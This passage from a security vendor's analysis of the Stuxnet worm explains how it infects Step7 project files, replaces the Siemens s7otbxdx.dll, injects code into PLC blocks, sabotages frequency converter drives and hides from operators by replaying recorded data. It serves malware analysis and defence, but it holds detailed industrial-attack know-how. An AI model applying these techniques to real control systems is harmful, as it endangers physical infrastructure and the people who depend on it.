CreateFileA is typically used to open *.S7P projects (Step7 project files). Instead, the CreateFileA_hook routine
will be called. If the file opened has the extension .s7p, CreateFileA_hook will call RPC function #9, which is
responsible for recording this path to the encrypted datafile %Windir%\inf\oem6c.pnf, and eventually infect the
project folder inside which the s7p file is located.
StgOpenStorage is used by the Simatic manager to open *.MCP files. These files are found inside Step7 projects.
Like CreateFileA_hook, StgOpenStorage_hook will monitor files with the *.mcp extension. If such a file is ac -
cessed by the manager, the hook function will call RPC function #9 to record the path to oem6c.pnf and eventu -
ally infect the project folder inside which the mcp file is located.
Export 14 is the main routine for infecting Step 7 project files.
The project infector routine takes a path to a project as input, and can infect it causing Stuxnet to execute when
the project is loaded. The project path may be a regular path to a directory, or a path to zip file containing the
project.
Files inside the projects are listed. Those with extensions .tmp, .s7p or .mcp receive special processing.
S7P files
Files with such extensions are Step7 project files. When such a file is found inside a project folder, the project
may be infected.
The project is a candidate for infection if:
It is not deemed too old (used or accessed in the last 3.5 years).•
It contains a “wincproj” folder with a valid MCP file.•
It is not a Step7 example project, checked by excluding paths matching “*\Step7\Examples\*”.•
The infection process then consists of several distinct steps:
Stuxnet creates the following files:1.
xutils\listen\xr000000.mdx (an encrypted copy of the main Stuxnet DLL)•
xutils\links\s7p00001.dbf (a copy of a Stuxnet data file (90 bytes in length)•
xutils\listen\s7000001.mdx (an encoded, updated version of the Stuxnet configuration data block)•
The threat scans subfolders under the “hOmSave7” folder. In each of them, Stuxnet drops a copy of a DLL it 2.
carries within its resources (resource 202). This DLL is dropped using a specific file name. The file name is not
disclosed here in the interests of responsible disclosure and will be referred to as xyz.dll.
Stuxnet modifies a Step7 data file located in Apilog\types.3.
When an infected project is opened with the Simatic manager the modified data file will trigger a search for the
previously mentioned xyz.dll file. The following folders are searched in the following order:
The S7BIN folder of the Step7 installation folder•
The %System% folder•
The %Windir%\system folder•
The %Windir% folder•
Subfolders of the project’s hOmSave7 folder• W32.Stuxnet Dossier
Page 34Security Response
If the xyz.dll file is not found in one of the first four locations listed above, the malicious DLL will be loaded and
executed by the manager. This .dll file acts as a decryptor and loader for the copy of the main DLL located in
xutils\listen\xr000000.mdx. This strategy is very similar to the DLL Preloading Attacks that emerged in August.
Versions 5.3 and 5.4 SP4 of the manager are impacted. We are unsure whether the latest versions of the man -
ager (v5.4 SP5, v5.5, released in August this year) are affected.
MCP files
Like .s7p files, .mcp files may be found inside a Step7 project folder. However, they are normally created by
WinCC. Finding such a file inside the project may trigger project infection as well as the WinCC database infec -
tion.
The project is a candidate for infection if:
It is not deemed too old (used or accessed in the last 3.5 years).•
It contains a GracS folder with at least one .pdl file in it.•
The infection process then consists of several distinct steps:
Stuxnet creates the following files:1.
GracS\cc_alg.sav (an encrypted copy of the main Stuxnet DLL)•
GracS\db_log.sav (a copy of a Stuxnet data file, which is 90 bytes in length)•
GracS\cc_alg.sav xutils\listen\s7000001.mdx (an encoded, updated version of the Stuxnet configura •
tion data block)
A copy of resource 203 is then decrypted and dropped to GracS\cc_tlg7.sav. This file is a Microsoft Cabinet file 2.
containing a DLL used to load and execute Stuxnet.
During this infection process, the WinCC database may be accessed and infections spread to the WinCC data -
base server machine. This routine is described in the Network Spreading section.
TMP files
For every .tmp file found inside the project, the filename is first validated. It must be in the form ~WRxxxxx.tmp,
where ‘xxxxx’ of hexadecimal digits whose sum module 16 is null. For instance, ~WR12346.tmp would qualify
because 1+2+3+4+6 = 16 = 0 mod 16.
The file content is then examined. The first eight bytes must contain the following “magic string”: ‘LRW~LRW~’.
If so, the rest of the data is decrypted. It should be a Windows module, which is then mapped. Export #7 of this
module is executed.
Stuxnet can also harness infected projects to update itself. If a project is opened and it is already infected, Stux -
net verifies if the version inside is newer than the current infection and executes it. This allows Stuxnet to update
itself to newer versions when possible.
Three possible forms of infected project files exist. A different export handles each form.
Export 9 takes a Step7 project path as input, supposedly infected. It will then build paths to the following Stux -
net files located inside the project:
… \XUTILS\listen\XR000000.MDX•
… \XUTILS\links\S7P00001.DBF•
… \XUTILS\listen\S7000001.MDX•
These files are copied to temporary files (%Temp%\~dfXXXX.tmp) and Export 16, the main entry point within
this potentially newer version of Stuxnet, is executed. W32.Stuxnet Dossier
Page 35Security Response
Export 31 takes a Step7 project path as input and supposedly infected. It will then build paths to the following
Stuxnet files located inside the project:
…\GracS\cc_alg.sav•
…\GracS\db_log.sav•
…\GracS\cc_tag.sav•
These files are copied to temporary files (%Temp%\~dfXXXX.tmp). Export #16 within these files is then called to
run this version of Stuxnet.
Export 10 is similar to 9 and 31. It can process Step7 folders and extract Stuxnet files located in the Gracs\ or
Xutils\ subfolders. It may also process Zip archives.
Export #16 within the extracted files is then used to run the extracted copy of Stuxnet, and eventually update
the configuration data block. W32.Stuxnet Dossier
Page 36Security Response
Modifying PLCs
Resource 208 is dropped by export #17 and is a malicious replacement for Simatic’s s7otbxdx.dll file.
First, it’s worth remembering that the end goal of Stuxnet is to infect specific types of Simatic programmable
logic controller (PLC) devices. PLC devices are loaded with blocks of code and data written using a variety of
languages, such as STL or SCL. The compiled code is an assembly called MC7. These blocks are then run by
the PLC, in order to execute, control, and monitor an industrial process.
The original s7otbxdx.dll is responsible for handling PLC block exchange between the programming device
(i.e., a computer running a Simatic manager on Windows) and the PLC. By replacing this .dll file with its own,
Stuxnet is able to perform the following actions:
Monitor PLC blocks being written to and read from the PLC.•
Infect a PLC by inserting its own blocks and replacing or infecting existing blocks.•
Mask the fact that a PLC is infected.•
Simatic PLC 101
To access a PLC, specific
software needs to be in -
stalled. Stuxnet specifically
targets the WinCC/Step 7
software.
With this software installed,
the programmer can con -
nect to the PLC with a data
cable and access the mem -
ory contents, reconfigure it,
download a program onto it,
or debug previously loaded
code. Once the PLC has been
configured and programmed,
the Windows computer can
be disconnected and the PLC
will function by itself. To give
you an idea of what this looks
like, figure 20 is a photo of
some basic test equipment. Figure 19
PLC and Step7
Figure 20
Test equipment
W32.Stuxnet Dossier
Page 37Security Response
Figure 21 shows a portion of Stuxnet’s malicious code in the Step7 STL editor. The beginning of the MC7 code for
one of Stuxnet’s Function Code (FC) blocks is visible. The code shown is from the disassembled block FC1873.
As mentioned previously, the Step 7 soft -
ware uses a library file called s7otbxdx.dll
to perform the actual communication with
the PLC. The Step7 program calls differ -
ent routines in this .dll file when it wants
to access the PLC. For example, if a block
of code is to be read from the PLC using
Step7, the routine s7blk_read is called.
The code in s7otbxdx.dll accesses the PLC,
reads the code, and passes it back to the
Step7 program, as shown in figure 22.
Looking at how access to the PLC works
when Stuxnet is installed, once Stux -
net executes, it renames the original
s7otbxdx.dll file to s7otbxsx.dll. It then
replaces the original .dll file with its own
version. Stuxnet can now intercept any
call that is made to access the PLC from
any software package. Figure 21
Stuxnet code in the Step7 STL editor
Figure 22
Step7 and PCL communicating via s7otbxdx.dll
W32.Stuxnet Dossier
Page 38Security Response
Stuxnet’s s7otbxdx.dll file contains all
potential exports of the original .dll file
– a maximum of 109 – which allows it to
handle all the same requests. The major -
ity of these exports are simply forwarded
to the real .dll file, now called s7otbxsx.
dll, and nothing untoward happens. In
fact, 93 of the original 109 exports are
dealt with in this manner. The trick, how -
ever, lies in the 16 exports that are not
simply forwarded but are instead inter -
cepted by the custom .dll file. The inter -
cepted exports are the routines to read,
write, and enumerate code blocks on the
PLC, among others. By intercepting these
requests, Stuxnet is able to modify the
data sent to or returned from the PLC
without the operator of the PLC realizing
it. It is also through these routines that
Stuxnet is able to hide the malicious code
that is on the PLC.
The following are the most common
types of blocks used by a PLC:
Data Blocks (DB) contain program-spe - •
cific data, such as numbers, structures,
and so on.
System Data Blocks (SDB) contain information about how the PLC is configured. They are created depending •
on the number and type of hardware modules that are connected to the PLC.
Organization Blocks (OB) are the entry point of programs. They are executed cyclically by the CPU. In regards •
to Stuxnet, two notable OBs are:
OB1 is the main entry-point of the PLC program. It is executed cyclically, without specific time requirements.•
OB35 is a standard watchdog Organization Block, executed by the system every 100 ms. This function may •
contain any logic that needs to monitor critical input in order to respond immediately or perform functions
in a time critical manner.
Function Blocks (FC) are standard code blocks. They contain the code to be executed by the PLC. Generally, the •
OB1 block references at least one FC block.
The infection process
Stuxnet infects PLC with different code depending on the characteristics of the target system. An infection se -
quence consists of code blocks and data blocks that will be injected into the PLC to alter its behavior. The threat
contains three main infection sequences. Two of these sequences are very similar, and functionally equivalent.
These two sequences are dubbed A and B. The third sequence is dubbed sequence C.
Initially, if the DLL is running inside the ccrtsloader.exe file, the malicious s7otbxdx.dll starts two threads respon -
sible for infecting a specific type of PLC:
The first thread runs an infection routine every 15 minutes. The targeted PLC information has previously been •
collected by the hooked exports, mainly s7db_open(). This infection routine specifically targets CPUs 6ES7-
315-2 (series 300) with special SDB characteristics. The sequence of infection is A or B.
The second thread regularly queries PLC for a specific block that was injected by the first thread if the infec - •
tion process succeeded. This block is customized, and it impacts the way sequences A or B run on the infected
PLC.
Finally, the injection of sequence C appears disabled or was only partially completed. Sequence C can be written
only to the 6ES7-417 family, not the 6ES7-315-2 family mentioned above. Figure 23
Communication with malicious version of s7otbxdx.dll
W32.Stuxnet Dossier
Page 39Security Response
The infection thread, sequences A and B
This thread runs the infection routine every 15 minutes. When a PLC is “found”, the following steps are executed:
First, the PLC type is checked using the s7ag_read_szl API. It must be a PLC of type 6ES7-315-2. •
The SDB blocks are checked to determine whether the PLC should be infected and if so, with which sequence •
(A or B).
If the two steps above passed, the real infection process starts. The DP_RECV block is copied to FC1869, and •
then replaced by a malicious block embedded in Stuxnet.
The malicious blocks of the selected infection sequence are written to the PLC.•
OB1 is infected so that the malicious code sequence is executed at the start of a cycle.•
OB35 is also infected. It acts as a watchdog, and on certain conditions, it can stop the execution of OB1.•
The three key steps of the infection process are detailed below.
SDB check
The System Data Blocks are enumerated and parsed. Stuxnet must find an SDB with the DWORD at offset 50h
equal to 0100CB2Ch. This specifies the system uses the Profibus communications processor module CP 342-5.
Profibus is a standard industrial network bus used for distributed I/O, In addition, specific values are searched
for and counted: 7050h and 9500h. The SDB check passes if, and only if, the total number of values found is
equal to or greater than 33. These appear to be Profibus identification numbers, which are required for all Profi -
bus DP devices except Master Class 2 devices. Identification numbers are assigned to manufacturers by Profibus
& Profinet International (PI) for each device type they manufacture. 7050h is assigned to part number KFC750V3
which appears to be a frequency converter drive (also known as variable frequency drive) manufactured by
Fararo Paya in Teheran, Iran. 9500h is assigned to Vacon NX frequency converter drives manufactured by Vacon
based in Finland.
Frequency converter drives are used to control the speed of another device, such as a motor. For example, if the
frequency is increased, the speed of the motor increases. Frequency converter drives are used in multiple indus -
trial control industries including water systems, HVAC, gas pipelines, and other facilities.
Thus, the targeted system is using Profibus to communicate with at least 33 frequency converter drives from one
or both of the two manufacturers, where sequence A is chosen if more Vacon devices are present and sequence
B is chosen if more Fararo Paya devices are present.
DP_RECV replacement
DP_RECV is the name of a standard function block used by network coprocessors. It is used to receive network
frames on the Profibus – a standard industrial network bus used for distributed I/O. The original block is copied
to FC1869, and then replaced by a malicious block.
Each time the function is used to receive a packet,
the malicious Stuxnet block takes control: it will call
the original DP_RECV in FC1869 and then do post-
processing on the packet data.
OB1/OB35 infection
Stuxnet uses a simple code-prepending infection
technique to infect Organization Blocks. For example,
the following sequence of actions is performed when
OB1 is infected:
Increase the size of the original block.•
Write malicious code to the beginning of the block.•
Insert the original OB1 code after the malicious •
code.
Figure 24 illustrates OB1 before and after infection. Figure 24
OB1 before and after infection
W32.Stuxnet Dossier
Page 40Security Response
Sequence blocks
Sequences A and B are extremely close and functionally equivalent. They consist of 17 blocks, the malicious
DP_RECV replacement block, as well as the infected OB1 and OB35 blocks. Figure 25 shows the connections
between the blocks.
Legend:
Arrows between two code blocks mean that a block calls or executes another block.•
The pink block represents the main block, called from the infected OB1.•
White blocks are standard Stuxnet code blocks.•
Yellow blocks are also Stuxnet blocks, but copied from the Simatic library of standard blocks. They execute common functions, such as timestamp com - •
parison.
Gray blocks are not part of Stuxnet; they’re system function blocks, part of the operating system running on the PLC. They’re used to execute system •
tasks, such as reading the system clock (SFC1).
Green blocks represent Stuxnet data blocks.•
Note that block names are misleading (except for the yellow and gray blocks), in the sense that they do not re -
flect the real purpose of the block.
Sequences A and B intercept packets on the Profibus by using the DP_RECV hooking block. Based on the values
found in these blocks, other packets are generated and sent on the wire. This is controlled by a complex state
machine, implemented in the various code blocks that make the sequence. One can recognize an infected PLC in
a clean environment by examining blocks OB1 and OB35. The infected OB1 starts with the following instructions,
meant to start the infection sequence and potentially short-circuit OB1 execution on specific conditions:
UC FC1865
POP
L DW#16#DEADF007
==D
BEC
L DW#16#0
L DW#16#0 Figure 25
Connections Between Blocks, Sequences A and B
W32.Stuxnet Dossier
Page 41Security Response
The infected OB35 starts with the following instructions, meant to short-circuit OB35 on specific conditions:
UC FC1874
POP
L DW#16#DEADF007
==D
BEC
L DW#16#0
L DW#16#0
The monitor thread
This secondary thread is used to monitor a data block DB890 of sequence A or B. Though constantly running
and probing this block (every 5 minutes), this thread has no purpose if the PLC is not infected. The purpose of
the thread is to monitor each S7-315 on the bus. When the sabotage routine is begun, the thread writes to the
DB890 block of all the other S7-315s on the bus in order to have them begin the sabotage routine as well. This
thread causes the attack to begin almost simultaneously for all S7-315 devices on the same bus.
Behavior of a PLC infected by sequence A/B
Infection sequences A and B are very similar. Unless otherwise stated, what’s mentioned here applies to both
sequences.
The infection code for a 315-2 is organized as follows:•
The replaced DP_RECV block (later on referred to as the “DP_RECV monitor”) is meant to monitor data sent •
by the frequency converter drives to the 315-2 CPU via CP 342-5 Profibus communication modules.
Up to 6 CP 342-5 Profibus communication modules are supported. Each is a master on its own Profibus •
subnet with 31 frequency converter drives as slaves. The addresses of the CP 342-5 modules are recorded.
Note the 315-2 CPU documentation recommends no more than 4 CP 324-5 modules, but in theory can
support more, depending on CPU performance.
Frames sent over Profibus are inspected. They are expected to have a specific format. Each frame should •
have 31 records—one for each slave—of either 28 or 32 bytes as the format differs slightly for the two dif -
ferent frequency converter drives. Some fields are stored.
The other blocks implement a state machine that controls the process. Transitions from state i to state i+1 •
are based on events, timers or task completions.
In state 1 fields recorded by the DP_RECV monitor are examined to determine if the target system is in a •
particular state of operation. When enough fields match simple criteria, a transition to state 2 occurs.
In state 2 a timer is started. Transitioning to state 3 occurs after two hours have elapsed.•
In states 3 and 4, network frames are generated and sent on the Profibus to DP slaves. The contents of these •
frames are semi-fixed, and partially depend on what has been recorded by the DP_RECV monitor.
State 5 initiates a reset of various variables used by the infection sequence (not to be confused with a PLC •
reset), before transitioning to state 1. Transitioning to state 0 may also occur in case of errors.
In state 0, a 5-hour timer is started.•
Figure 29 represents a simplified view of this state machine.
The normal path of execution is 1-2-3-4-5-1 – as shown by the solid, blue arrows in the diagram. Let’s detail what
happens during each state.
The initial state is 1 (circled in red). Transitioning to state 2 can take a fair amount of time. The code specifically
monitors for records within the frames sent from the frequency converter drives that contain the current operat -
ing frequency (speed of the device being controlled). This value is held at offset 0xC in each record in the frame
and is referred to as PD1 (parameter data 1). The frequency values can be represented in hertz (Hz) or decihertz
(deciHz). The attackers expect the frequency drives to be running between 807 Hz and 1210 Hz. If PD1 has a
value greater than 1210, the code assumes the values being sent are represented in deciHertz and adjusts all
frequency values by a factor of 10. For example 10000 would be considered 10,000 deciHertz (1000.0 Hz) rather
than 10,000Hz. The routine that counts these records (here after referred to as events) is called once per minute. W32.Stuxnet Dossier
Page 42Security Response
Events are counted with a cap of 60 per minute. It seems that this is the optimal, expected rate of events. The
global event counter, initially set to 1,187,136, must reach 2,299,104 to initiate a transition to state 2. If we as -
sume an optimal number of events set to 60 (the max could be 186, but remember the cap), the counting being
triggered every minute, the transition occurs after (2299104-1187136)/60 minutes, which is 12.8 days.
Transitioning from state 2 to 3 is a matter of waiting 2 hours.
In states 3 and 4 two network send bursts occur. The traffic generated is semi-fixed, and can be one of the two
sequences. The sequences consist of multiple frames that each contain 31 records. Each frame is sent to each
CP 342-5 module, which passes on the respective record within the frame to each of the 31 frequency converter
drive slaves.
For infection sequence A (for Vacon frequency converters):
Sequence 1 consists of 147 frames:•
145 frames for sub-sequence 1a, sent during state 3.•
2 frames for sub-sequence 1b, sent during state 4.•
Sequence 2 consisting of 163 frames:•
127 frames for sub-sequence 2a, sent during state 3.•
36 frames for sub-sequence 2b, sent during state 4.•
For infection sequence B (for Fararo Paya frequency converters):
Sequence 1 consists of 57 frames:•
34 frames for sub-sequence 1a, sent during state 3.•
23 frames for sub-sequence 1b, sent during state 4.•
Sequence 2 consists of 59 frames:• Figure 26
State machine path of execution
W32.Stuxnet Dossier
Page 43Security Response
32 frames for sub-sequence 2a, sent during state 3.•
27 frames for sub-sequence 2b, sent during state 4.•
Transitioning from state 3 to state 4 takes 15 minutes for sequence 1 and 50 minutes for sequence 2.
The data in the frames are instructions for the frequency converter drives. For example one of the frames con -
tains records that change the maximum frequency (the speed at which the motor will operate). The frequency
converter drives consist of parameters, which can be remotely configured via Profibus. One can write new values
to these parameters changing the behavior of the device. The values written to the devices can be found in Ap -
pendix C.
Of note, for sequence A, the maximum frequency is set to 1410 Hz in sequence 1a, then set to 2 Hz in sequence
2a, and then set to 1064 Hz in sequence 2b. Thus, the speed of the motor is changed from 1410Hz to 2Hz to
1064Hz and then over again. Recall the normal operating frequency at this time is supposed to be between 807
Hz and 1210 Hz.
Thus, Stuxnet sabotages the system by slowing down or speeding up the motor to different rates at different
times.
When a network send (done through the DP_SEND primitive) error occurs, up to two more attempts to resend the
frame will be made. Cases where a slave coprocessor is not started are also gracefully handled through the use
of timers.
During states 3 and 4, the execution of the original code in OB1 and OB35 is temporarily halted by Stuxnet. This
is likely used to prevent interference from the normal mode of operation while Stuxnet sends its own frames.
During processing of state 5, various fields are initialized before transitioning to state 1 and starting a new cycle.
The two major events are:
The global event counter is reset (which was initially 1187136). This means that future transitions from state 1 •
to state 2 should take about 26.6 days.
The DP_RECV monitor is reset. This means that the slave reconnaissance process is to take place again before •
frame snooping occurs. (Incidentally, note that slave reconnaissance is forced every 5.5 hours.)
Transition to state 0 then occurs if an error was reported. “Error” in this context usually means that OB1 took too
long to execute (over 13 seconds). Otherwise, a regular transition to state 1 takes place.
It is worth mentioning that short-circuits, used to transition directly through states 0 and 1 to state 3, are de -
signed to allow the sabotage routine to begin immediately. This occurs when another S7-315 on the same bus
has fulfilled the wait period. The Windows monitoring thread will modify DB890, setting a flag, causing the PLC
code to immediately begin the sabotage routine and to no longer wait the requisite time. This behavior synchro -
nizes the sabotage routine across all 315s controlled by the same Windows system.
Let’s detail the purpose of the DP_RECV monitor and the subsequent frames sent during state 3 and 4. The code
expects a structure of 31 records of either 28 or 32 bytes (depending on which frequency drive is installed).
Here’s the header of such a record:
Offset Type Name
0 word ID
2 word Index (IND)
4 dword VALUE
8 word ControlWord (CW)/StatusWord (SW)
10 word Reference (REF)/Actual (ACT)
12 word Process Data 1 (PD1)
…
The monitor is especially interested in fields SW, ACT, and PD1. The following pieces of information are recorded:
Is the tenth bit in SW set? This specifies FieldBus Control is on (one can control the devices via Profibus).•
Is ACT a positive or negative integer? Positive represents a forward direction, while negative reverse direction.• W32.Stuxnet Dossier
Page 44Security Response
The value of PD1, which is the output frequency (the current frequency/speed).•
The other fields are ignored.
When reaching states 3 and 4, the original PLC code is halted and the malicious PLC code begins sending frames
of data based on the recorded values during the DP_RECV monitor phase. The purpose of sending the frames is
to change the behavior of the frequency converter drives. First of all DP_SEND will send similar types of frames
as the ones that are expected to be received by DP_RECV (which means each frame will contain 31 records of 28
or 32 bytes—one record for each slave frequency converter drive). Each record sent changes a configuration,
such as the maximum frequency on the frequency converter drive. The record fields will be set to zero, except for
the ID, Value, CW, and REF fields.
ID specifies the parameter to change. The format of the ID field is detailed in Table 6. •
VALUE contains the new value for the particular parameter. For frequency values, a factor of ten can be ap - •
plied if the system was determined to be using deciHz units.
CW (ControlWord) in sequence A is typically set to 47Fh, which means ‘Run’, but can start by sending 477h •
(Stop by Coast) and finishes by using 4FFh (Fault Reset). CW in sequence B is set to 403h.
REF can range from 100% to -100% represented by 10000 or -10000. This specifies the drive should be •
operating at the maximum (100%) frequency either in a forward (positive 10000) or reverse (negative 10000)
direction. The previous direction, before the behavior of the frequency converter drives were hijacked, is main -
tained, but at 100% potentially with a new maximum frequency.
The parameters that are
modified and their values are
in Appendix C. To more clearly
illustrate the behavior of the
injected code, we’ve outlined
the key events that would
occur with an infected 315-2
CPU connected to multiple
CP 342-5 modules each with
31 frequency converter drive
slaves, as shown in the dia -
gram below.
The PLC is infected.•
Frequency converter slaves •
send records to their CP-
342-5 master, building a
frame of 31 records The
CPU records the CP-342-5
addresses.
The frames are examined and the fields are recorded.•
After approximately 13 days, enough events have been recorded, showing the system has been operating •
between 807 Hz and 1210 Hz.
The infected PLC generates and sends sequence 1 to its frequency converter drives, setting the frequency to •
1410Hz.
Normal operation resumes.•
After approximately 27 days, enough events have been recorded.•
The infected PLC generates and sends sequence 2 to its frequency converter drives, setting the frequency • Table 6
ID Field Format
ID Byte 1 ID Byte 2
15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0
Request Type SM Parameter Number
Figure 27
Connections between sequence blocks
W32.Stuxnet Dossier
Page 45Security Response
initially to 2Hz and then 1064Hz.
Normal operation resumes.•
After approximately 27 days, enough events have been recorded.•
The infected PLC generates and sends sequence 1 to its frequency converter drives, setting the frequency to •
1410Hz.
Normal operation resumes.•
After approximately 27 days, enough events have been recorded.•
The infected PLC generates and sends sequence 2 to its frequency converter drives, setting the frequency •
initially to 2Hz and then 1064Hz.
…•
Sequence C
Stuxnet has a second sabotage strategy targeting S7-417 PLCs. However, the routine is incomplete and the PLC
code, referred to as sequence C, is never purposefully copied onto a PLC or executed. While we can speculate the
PLC code injection was active at a previous time, sequence C itself appears unfinished, contains unimplemented
cases, unused code blocks, and test or debug code. This sequence is more complex than sequences A or B. It
contains more blocks of code and data (32), and also generates data blocks on-the-fly using specific SFC blocks.
The figure below represents sequence C.
Sequence C Injection
Stuxnet hooks the Step 7 write function, so that whenever someone updates code on the PLC, sequence C is cop -
ied to the PLC. However, because code for a single function in the DLL is missing, sequence C is never properly
activated. Figure 28
Connections Between Blocks, Sequence C
W32.Stuxnet Dossier
Page 46Security Response
The S7-417 PLC code-installation routine starts when an operator of the target system performs a write opera -
tion to a S7-417 PLC, such as updating code. The SDB7 is read and DB8061 (consisting of Stuxnet-specific data)
is created based on the values in SDB7. However, due to the incomplete function in the DLL, DB8061 is never cre -
ated and the data contained in DB8061 is unknown. In particular, the reference to the function exists, but when
called, a Windows exception occurs. The exception is caught and execution resumes as if DB8061 was created.
The blocks that compose sequence C are then written to the PLC, including the modifications of SDB0 and SDB4,
and OB80 is created as well, if it did not previously exist. OB80 is the time-event error interrupt and is called if
the maximum cycle time is exceeded. SDB0 is expected to contain records holding CPU configuration informa -
tion. The block is parsed and a static 10-byte long record is inserted into the block. The purpose of this insertion
is unknown. However, contrary to what happens with sequences A and B, no specific values are searched in the
block. Moreover, record 13 of SDB0 can be modified.
The creation timestamp of SDB0 is incremented, and this timestamp is replicated to a specific location in SDB4
for consistency. Sequence C is written and Stuxnet also makes sure an OB80 exists, or else creates an empty
one.
Later, the modification of OB1 (the entry point) that is needed to execute sequence C never occurs. The code to
modify OB1 requires the successful completion of the missing function and since the function throws an excep -
tion, OB1 is not modified and the remaining sequence C code blocks are never executed.
Even if OB1 is modified to execute sequence C, the missing (or an existing unrelated) DB8061 would cause
sequence C to operate improperly. Finally, even if OB1 was modified and DB8061 contained correct values,
unimplemented cases in sequence C would likely cause it to operate unexpectedly. Thus, sequence C appears
unfinished.
Stuxnet also hooks Step 7 to monitor for writes specifically to SDB7. When SDB7 is written, Stuxnet will modify
three bytes in DB8061. Thus, if DB8061 already exists coincidentally on the target PLC, three values will acci -
dentally be modified, potentially corrupting the PLC operation.
The following provides a step-by-step summary of the failed injection process:
Read SDB71.
Attempt to generate DB8061, which fails2.
Modify SDB0, SDB43.
Copy sequence C blocks to the PLC (do not overwrite existing 4.
blocks)
Create OB80 if it does not exist5.
Modify OB1 (does not occur)6.
Sequence C Behavior
The following describes the behavior of sequence C. However,
these behaviors never happen due to the missing function in the
DLL. Sequence C consists of 40 blocks, 26 containing Stuxnet
code, 4 with standard code blocks, and 10 containing data.
Sequence C consists of a state machine with eight states.
DB8061 is critical to the operation of sequence C and because
DB8061 is missing, the exact behavior of sequence C is unknown. Figure 29
Code where an exception is thrown
.text:1000D947 68 70 C8 03 10 push offset unk _1003C870
.text:1000D94C 8D 45 FF lea eax, [ebp+var _1]
.text:1000D94F 50 push eax
.text:1000D950 E8 93 47 00 00 call _ _ CxxThrowException@8
.text:1000D950
Figure 30
Eight states in sequence C
W32.Stuxnet Dossier
Page 47Security Response
State 0: Wait
The code expects six groups of 164 peripherals. Based on knowledge from the S7-315 code, these could be six
cascades containing 164 centrifuges each. Stuxnet monitors the groups, and the sum of the activity times for all
groups must be greater than 297 days or for a single group greater than 35 days. In addition, all groups must be
active for at least three days.
State 1: Recording
DB8064 through DB8070 (seven blocks) are created and each contains three sub-blocks for a total of 21 sub-
blocks. The input area of an I/O image is copied into each sub-block with a one second interval between copies,
forming a 21 second recording of the input area. The input area contains information being passed to the PLC
from a peripheral. (For example, the current state of a valve or the temperature of a device.)
State 2 - 6: Sabotage
When the peripheral output is written to, sequence C intercepts the output and ensures it is not written to the
process image output. The output is the instructions the PLC sends to a device to change its operating behavior.
By intercepting the peripheral output, Stuxnet prevents an operator from noticing unauthorized commands sent
to the peripheral.
Each cascade of 164 peripherals is grouped into 15 clusters (0 – 14). Each cluster is affected, but not every cen -
trifuge within a cluster is affected. The following table shows for each group how many peripherals within each
cluster are affected.
The particular peripherals within the clusters that are affected are pseudo-randomly chosen. For example, clus -
ter 4 contains 8 peripherals (peripheral 14 to 21). According to the table, 6 out of 8 are affected. One peripheral
within the cluster is pseudo-randomly selected. Let’s say peripheral 20 is selected. Stuxnet will then sabotage
peripherals 20, 21, 14, 15, 16, and 17. If an error occurs when attempting to sabotage one of the peripherals, the
next one is selected. For example, if an error occurs when affecting peripheral 15, then peripherals 16, 17, and
now 18 would be targeted.
A total of 110 peripherals will be affected out of 164.
While this behavior occurs across the four states, state 3 takes place in two parts, with a two minute break in
between. The transition from state 5 to state 6 takes place after 2 minutes, 53 seconds.
State 6 is the state where the writing to the image/peripheral output takes place. This state lasts 6 minutes, 58
seconds.
How the peripherals are affected is unknown. Data is written to the image/peripheral output changing their
behavior, but the data to be written is within DB8061, which is missing.
State 7: Reset
The seven dynamically created data blocks (DB8064-DB8070) are deleted and many of the data values in the
data blocks are reset. State 7 can also be reached if any error occurs or if more than seven seconds elapses
between two OB1 cycles. Table 7
Affected peripherals within each cluster
Cluster
Number0 1 2 3 4 5 6 7 8 9 10 11 12 13 14
Peripherals in
the Cluster2 2 4 6 8 10 12 16 20 24 20 16 12 8 4
Peripheral
Number 0-1 2-3 4-7 8-13 14-21 22-31 32-43 44-59 60-7980-
103104-
123124-
139140-
151152-
159160-
163
Peripherals
affected2 2 2 4 6 8 10 13 14 0 14 13 10 8 4W32.Stuxnet Dossier
Page 48Security Response
A return to state 1 will occur, resulting in a cycle consisting of waiting approximately 35 days, followed by a seven
minute attack phase.
Thus, while the clear intention of the S7-417 code is unknown, key bits may support the theory of a secondary
attack strategy on centrifuge systems within a cascade.
The rootkit
The Stuxnet PLC rootkit code is contained entirely in the fake s7otbxdx.dll. In order to achieve the aim of continu -
ing to exist undetected on the PLC it needs to account for at least the following situations:
Read requests for its own malicious code blocks.•
Read requests for infected blocks (OB1, OB35, DP_RECV).•
Write requests that could overwrite Stuxnet’s own code.•
Stuxnet contains code to monitor and intercept these types of request. The threat modifies these requests so
that Stuxnet’s PLC code is not discovered or damaged. The following list gives some examples of how Stuxnet
uses the hooked exports to handle these situations:
s7blk_read•
Used to read a block, is monitored so that Stuxnet returns:
The original DP_RECV (kept as FC1869) if DP_RECV is requested.•
An error if the request regards one of its own malicious blocks.•
A cleaned version (disinfected on the fly) copy of OB1 or OB35 if such a block is requested.•
s7blk_write•
Used to write a block, is also monitored:
Requests to OB1/OB35 are modified so that the new version of the block is infected before it’s written.•
Requests to write DP_RECV are also monitored. The first time such a request is issued, the block will be writ - •
ten to FC1869 instead of DP_RECV. Next time an error will be raised (since these system blocks are usually
written only once).
Also note that the injection of sequence C takes place through a s7blk_write operation. Exact conditions are •
not determined.
s7blk_findfirst and s7blk_findnext •
Used to enumerate blocks of a PLC. Stuxnet will hide its own blocks by skipping them voluntarily during an
enumeration. Note that Stuxnet recognizes its own blocks by checking a specific value it sets in a block header.
s7blk_delete•
Used to delete blocks, is monitored carefully:
Requests to delete a SDB may result in PLC disinfection.•
Requests to delete OB are also monitored. It seems the blocks are not necessarily deleted. They could be in - •
fected. For instance, deletion of OB80 (used to handle asynchronous error interrupts) can result in an empty
OB80 being written.
Other export hooks
Other exports are hooked to achieve other functions, including PLC information gathering, others remaining
quite obscure at the time of writing:
s7db_open and s7db_close •
Used to obtain information used to create handles to manage a PLC (such a handle is used by APIs that ma -
nipulate the PLC).
s7ag_read_szl •
Used to query PLC information, through a combination of an ID and an index (it can be used for instance to get
the PLC type.) The export modifies the API’s return information if it’s called with specific ID=27, index=0.
s7_event•
The purpose of the original API is unknown. The export can modify block DB8062 of sequence C.
s7ag_test•
s7ag_link_in•
s7ag_bub_cycl_read_create• W32.Stuxnet Dossier
Page 49Security Response
s7ag_bub_read_var•
s7ag_bub_write_var•
s7ag_bub_read_var_seg•
s7ag_bub_write_var_seg•
Stuxnet records the previous operating frequencies for the frequency controllers. This data is played back to
WinCC through these hooked functions during the sabotage routines. Thus, instead of the monitoring systems
receiving the anomalous operating frequency data, the monitoring systems believe the frequency converters are
operating as normal.
